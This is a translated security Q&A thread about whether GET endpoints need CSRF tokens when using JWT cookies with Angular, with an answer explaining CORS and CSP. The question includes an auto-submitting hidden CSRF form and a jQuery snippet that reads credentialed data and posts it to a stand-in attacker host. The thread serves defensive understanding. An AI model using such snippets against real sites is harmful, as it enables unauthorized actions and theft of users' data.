GET 请求需要 CSRF 保护

信息安全 饼干 csrf jwt 科尔斯
2021-08-14 23:08:45

我有一个 REST API,它允许经过身份验证的用户读取有关他们自己帐户的数据并更改他们的帐户。对于身份验证,我使用存储为 httpOnly cookie 的 JWT。为了防止 CSRF 攻击,REST API 还为客户端提供了 Angular 所称的“XSRF 令牌”。

Angular 的 CSRF 保护方法是获取您的 API 创建的 XSRF 令牌,并将其重新提交给 API,每个请求都包含在“X-XSRF-Token”标头中。是否允许请求由您的 API 决定。在恶意网站上运行的脚本将无法访问 XSRF 令牌,因此无法将其与任何 CSRF 请求一起提交。

当我使用 HttpClient 在 Angular 中实现我的前端请求时,我注意到 HttpXsrfInterceptor 不会发送带有 GET 和 HEAD 请求的 X-XSRF-Token 标头。

根据我在网上阅读的意见,GET 请求不需要 CSRF 保护,因为它们不(或不应该)修改任何数据。CSRF 攻击对 GET 请求的最大作用是让 REST API 将敏感数据发送到用户的 Web 浏览器。敌对网站将无法看到该数据。

示例 1:CSRF GET

如果恶意网站试图发出这样的 CSRF GET 请求:

<img src="https://example.com/sensitiveData">

然后敏感数据从 API 传输到用户的网络浏览器,但恶意网站看不到数据,所以一切正常。

示例 2:CSRF POST

如果恶意网站试图发出这样的 CSRF POST 请求:

<body onLoad="document.forms[0].submit()">
<form method="post" action="https://example.com/purchase">
  <input type="hidden" name="itemId" value="34873847">
  <input type="submit" value="View Kittens">
</form>
...

那么恶意网站仍然看不到任何数据,但它可能会对用户造成损害。如果 API 要求存在 X-XSRF-Token 标头,则此攻击无法成功。

示例 3:通过 Ajax 获取 CSRF

但是如果恶意网站强制浏览器发出这样的 GET 请求怎么办:

<script>
$.ajax('https://example.com/sensitiveData', {
  xhrFields: {
    withCredentials: true,
  },
}).done((sensitiveData) => {
  $.ajax('https://evilwebsite/logData', {
    method: 'post',
    data: sensitiveData,
  }).done(() => {
    console.log('I stole your data', sensitiveData)
  });
});
</script>

一些 CORS 策略会阻止这种情况,但其他 CORS 策略仍然会让它发生。

似乎要求对 GET 请求进行 CSRF 保护可以缓解这个漏洞。

我错过了什么重要的东西吗?

1个回答

您在介绍和示例 1 和示例 2 中的所有内容都是 100% 正确的。

关于示例 3,CORS 将启动并阻止脚本从example.com. 给定 JavaScript 能够读取响应并将其发送到的唯一方法evil.com是满足以下条件之一:

  1. 此脚本在example.com已通过 CORS 标头明确列入白名单并授予其使用凭据的权限的域上运行
  2. 该脚本直接example.com在其上运行(在这种情况下,您已成为 XSS 攻击的受害者,这是一个严重的问题)。

即使在上述 #2 的情况下,您也可以evil.com使用可靠的 CSP来防止数据逃逸(如果您不熟悉,值得使用 Google)。

简而言之:这正是 CORS 旨在防御的攻击类型。除上述项目外,CORS 应在所有情况下阻止响应。因此,除非您有一个您认为 CORS不适用的具体示例,否则我相信您关于 CORS 可能允许此类请求通过的断言是不正确的。